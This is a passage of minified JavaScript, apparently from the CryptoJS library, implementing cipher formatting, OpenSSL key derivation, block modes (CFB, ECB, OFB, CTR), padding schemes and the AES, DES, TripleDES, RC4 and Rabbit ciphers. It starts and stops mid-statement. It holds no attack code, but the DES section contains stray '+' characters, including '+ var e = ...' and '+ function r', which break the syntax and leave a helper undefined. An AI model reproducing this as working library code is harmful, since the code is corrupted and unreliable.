}, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 